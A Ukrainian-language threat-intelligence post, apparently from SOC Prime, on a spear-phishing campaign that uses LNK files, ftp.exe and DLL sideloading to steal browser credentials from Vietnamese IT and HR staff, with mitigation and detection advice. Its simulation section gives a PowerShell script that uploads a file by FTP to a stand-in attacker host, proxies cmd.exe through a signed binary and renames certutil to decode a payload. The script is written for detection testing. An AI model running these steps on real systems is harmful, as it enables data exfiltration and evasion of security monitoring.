SOC Prime Bias: Критичний

02 Dec 2025 18:54

Операція Хаанойський Злодій: Кіберзлочинець вражає в’єтнамські IT та HR команди

Author Photo
Ruslan Mikhalov Керівник досліджень загроз у SOC Prime linkedin icon Стежити
Операція Хаанойський Злодій: Кіберзлочинець вражає в’єтнамські IT та HR команди
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

Операція спар-фішингу під назвою «Операція Ханойський Злодій» доставляє шкідливий ZIP-архів, який містить ярлик (LNK) та псевдо-поліглотний документ. Ярлик зловживає ftp.exe для виконання скрипта пакетів, який розміщує DLL з назвою MsCtfMonitor.dll у ProgramData, а потім виконує DLL-sideloading через ctfmon.exe. Ця DLL, названа LOTUSHARVEST, краде облікові дані та історію браузера, а потім викрадає зібрані дані через HTTPS.

Аналіз кампанії Операції Ханойський Злодій

Дослідники SEQRITE Labs APT-Team розпакували ZIP-архів, задокументували зловживання командним рядком LNK з ftp.exe, спостерігали створення перейменованого certutil.exe бінарного файлу і дослідили ланцюг DLL-sideloading. Вони також зафіксували мережеві індикатори, залучені в ексфільтрацію даних, і приписали кампанію, ймовірно, китайському загрозі, що підтримується державою.

Пом’якшення

Оборонні вказівки включають блокування виконання підозрілих ярликів LNK, обмеження використання нативних Windows-інструментів, таких як ftp.exe та certutil.exe, у ненадійних скриптах, забезпечення контролю навколо шляхів завантаження DLL та моніторинг вихідного HTTPS-трафіку на незнайомі домени. Організації також повинні застосовувати строгий фільтр вкладень електронної пошти та посилити навчання користувачів щодо луків спар-фішингу.

Відповідь

Тригерити оповіщення на появу MsCtfMonitor.dll у ProgramData, виконання ftp.exe з прапорцем -s і вихідні запити на відомі шкідливі домени. Карантинуйте будь-які уражені файли, ізолюйте скомпрометовану кінцеву точку та проведіть ротацію паролів та облікових даних для уражених браузерів.

mermaid graph TB %% Визначення класів classDef action fill:#99ccff classDef tool fill:#cccccc classDef file fill:#ffcc99 classDef process fill:#ff9966 classDef malware fill:#ff6666 classDef operator fill:#ff9900 %% Вузли action_phishing[“<b>Дія</b> – <b>T1566.001 Фішинг: Додаток з адресною</b><br />Противник надсилає шкідливий ZIP-архів цільовим користувачам”] class action_phishing action file_malicious_zip[“<b>Файл</b> – Ім’я: Le-Xuan-Son_CV.zip<br />Містить CV.pdf.lnk та замаскований PDF/PNG”] class file_malicious_zip file action_user_exec[“<b>Дія</b> – <b>T1204.002 Користувацьке виконання: Шкідливий файл</b><br />Жертва розпаковує архів і відкриває ярлик”] class action_user_exec action file_lnk[“<b>Файл</b> – Ім’я: CV.pdf.lnk (ярлик)”] class file_lnk file action_shortcut_mod[“<b>Дія</b> – <b>T1547.009 Завантаження автозапуску або виконання при вході: Модифікація ярлика</b><br />LNK виконує ftp.exe з аргументом –s”] class action_shortcut_mod action tool_ftp[“<b>Інструмент</b> – Ім’я: ftp.exe (бінарний файл системи Windows)”] class tool_ftp tool action_proxy_exec[“<b>Дія</b> – <b>T1218 Виконання проксі системних бінаріїв</b><br />Законні бінарні файли, використані для виконання прихованих команд”] class action_proxy_exec action tool_device_cred_deploy[“<b>Інструмент</b> – Ім’я: DeviceCredentialDeployment.exe”] class tool_device_cred_deploy tool tool_certutil[“<b>Інструмент</b> – Ім’я: certutil.exe”] class tool_certutil tool action_masquerade[“<b>Дія</b> – <b>T1036.008 Маскування: Тип файлу<br>T1036.007 Маскування: Подвійне розширення</b><br />Навантаження замасковане під PDF/PNG і пізніше перейменоване”] class action_masquerade action file_masq_pdf[“<b>Файл</b> – Ім’я: offsec-certified-professional.png (насправді PDF)”] class file_masq_pdf file action_compression[“<b>Дія</b> – <b>T1027.015 Обфусковані файли або інформація: Стиснення</b><br />ZIP використовується для доставки шкідливого навантаження”] class action_compression action action_compile_after_delivery[“<b>Дія</b> – <b>T1027.004 Компіляція після доставки</b><br />Декодований DLL вилучено з поліглотного скрипта”] class action_compile_after_delivery action action_dll_sideload[“<b>Дія</b> – <b>T1574.002 DLL Side-Loading</b><br />Шкідливий DLL поміщено поруч з ctfmon.exe”] class action_dll_sideload action file_ctfmon_exe[“<b>Файл</b> – Ім’я: ctfmon.exe (скопійований у робочу каталогію)”] class file_ctfmon_exe file file_malicious_dll[“<b>Файл</b> – Ім’я: MsCtfMonitor.dll (шкідливий)”] class file_malicious_dll malware action_process_injection[“<b>Дія</b> – <b>T1055.001 Інжекція процесу: Інжекція DLL</b><br />DLL завантажений ctfmon.exe виконує код атакуючого”] class action_process_injection action action_browser_discovery[“<b>Дія</b> – <b>T1217 Виявлення інформації браузера</b><br />DLL читає SQLite-бази даних Chrome і Edge для URL”] class action_browser_discovery action action_credential_extraction[“<b>Дія</b> – <b>T1555.003 Облікові дані з веб-браузерів</b><br />Паролі декодуються через CryptUnprotectData”] class action_credential_extraction action action_exfiltration_auto[“<b>Дія</b> – <b>T1020 Автоматизована ексфільтрація</b><br />Дані підготовлені для ексфільтрації через HTTPS”] class action_exfiltration_auto action action_exfiltration_c2[“<b>Дія</b> – <b>T1041 Ексфільтрація через C2 канал</b><br /><b>T1102 Веб-сервіс</b><br />Дані постяться на домен атакуючого через HTTP POST”] class action_exfiltration_c2 action %% З’єднання action_phishing u002du002d>|доставляє| file_malicious_zip file_malicious_zip u002du002d>|містить| file_lnk file_lnk u002du002d>|викликаний| action_user_exec action_user_exec u002du002d>|веде до| action_shortcut_mod action_shortcut_mod u002du002d>|виконує| tool_ftp tool_ftp u002du002d>|використовується в| action_proxy_exec action_proxy_exec u002du002d>|також використовує| tool_device_cred_deploy action_proxy_exec u002du002d>|також використовує| tool_certutil action_shortcut_mod u002du002d>|використовує| action_masquerade action_masquerade u002du002d>|створює| file_masq_pdf action_masquerade u002du002d>|спирається на| action_compression action_compression u002du002d>|дозволяє| action_compile_after_delivery action_compile_after_delivery u002du002d>|продукує| file_malicious_dll action_compile_after_delivery u002du002d>|готує| action_dll_sideload action_dll_sideload u002du002d>|розміщує DLL з| file_ctfmon_exe action_dll_sideload u002du002d>|розміщує| file_malicious_dll file_ctfmon_exe u002du002d>|завантажує| file_malicious_dll file_malicious_dll u002du002d>|виконує| action_process_injection action_process_injection u002du002d>|дозволяє| action_browser_discovery action_browser_discovery u002du002d>|передає дані| action_credential_extraction action_credential_extraction u002du002d>|надає дані| action_exfiltration_auto action_exfiltration_auto u002du002d>|надсилає дані через| action_exfiltration_c2 %% Присвоєння класів class tool_ftp tool class tool_device_cred_deploy tool class tool_certutil tool class file_malicious_zip file class file_lnk file class file_masq_pdf file class file_ctfmon_exe file class file_malicious_dll malware

Потік атаки

Виконання симуляції

Попередня умова: Телеметрія та перевірка базових засад повинні бути успішно пройдені.

Розсуд: Цей розділ деталізує точне виконання техніки противника (TTP), призначеної для тригеру правила виявлення. Команди та наратив ПОВИННІ безпосередньо відбивати ідентифіковані TTP та прагнути створити очікувану телеметрію, яку очікує логіка виявлення.

  • Розповідь про атаку та команди:
    Атакуючий, який отримав оболонку з низькими привілеями на ураженому Windows-машині, бажає викрасти дані і зберегти скритність.

    1. Етап 1 – виконання скрипта FTP: Атакуючий створює тимчасовий скрипт upload.txt з командами FTP і запускає ftp.exe -s upload.txt для передачі файлів на зовнішній сервер.
    2. Етап 2 – виконання проксі-команди: Щоб приховати використання cmd.exe, атакуючий запускає DeviceCredentialDeployment.exe з аргументом cmd.exe /c whoami; підписана утиліта породжує приховану командну оболонку, уникнувши простих тривог за назвою процесу.
    3. Етап 3 – маскування використання certutil: Атакуючий копіює certutil.exe в C:Templala.exe і запускає lala.exe -decode malicious.b64 output.exe для декодування навантаження, використовуючи перейменування для обходу виявлення за назвою файлу.
  • Скрипт для регресійного тестування: Наступний скрипт PowerShell відтворює три кроки у повторюваний спосіб.

    # Скрипт регресійного тестування – тригерить правило виявлення
    # 1. FTP з прапорцем -s
    $ftpScript = "$env:TEMPupload.txt"
    @"
    open attacker.example.com
    user testuser testpass
    put C:WindowsSystem32notepad.exe notepad.exe
    quit
    "@ | Set-Content -Path $ftpScript -Encoding ASCII
    Start-Process -FilePath "C:WindowsSystem32ftp.exe" -ArgumentList "-s `"$ftpScript`"" -NoNewWindow -Wait
    
    # 2. Проксіровка DeviceCredentialDeployment.exe
    $dccPath = "C:Program FilesDeviceCredentialDeploymentDeviceCredentialDeployment.exe"
    if (Test-Path $dccPath) {
        Start-Process -FilePath $dccPath -ArgumentList "cmd.exe /c whoami" -WindowStyle Hidden -Wait
    } else {
        Write-Host "DeviceCredentialDeployment.exe не знайдено – пропуск кроку 2."
    }
    
    # 3. Виконання з маскуванням certutil
    $original = "$env:SystemRootSystem32certutil.exe"
    $masq = "$env:TEMPlala.exe"
    Copy-Item -Path $original -Destination $masq -Force
    $payload = "$env:TEMPmalicious.b64"
    $output  = "$env:TEMPdecoded.exe"
    # Створити фіктивне навантаження base64
    [IO.File]::WriteAllText($payload, [Convert]::ToBase64String([Text.Encoding]::ASCII.GetBytes("echo malicious")))
    Start-Process -FilePath $masq -ArgumentList "-decode `"$payload`" `"$output`"" -NoNewWindow -Wait
  • Команди для очищення: Видалити артефакти, створені під час тесту.

    # Скрипт очищення
    Remove-Item -Path "$env:TEMPupload.txt" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPmalicious.b64" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPdecoded.exe" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPlala.exe" -ErrorAction SilentlyContinue
    Write-Host "Очищення завершено."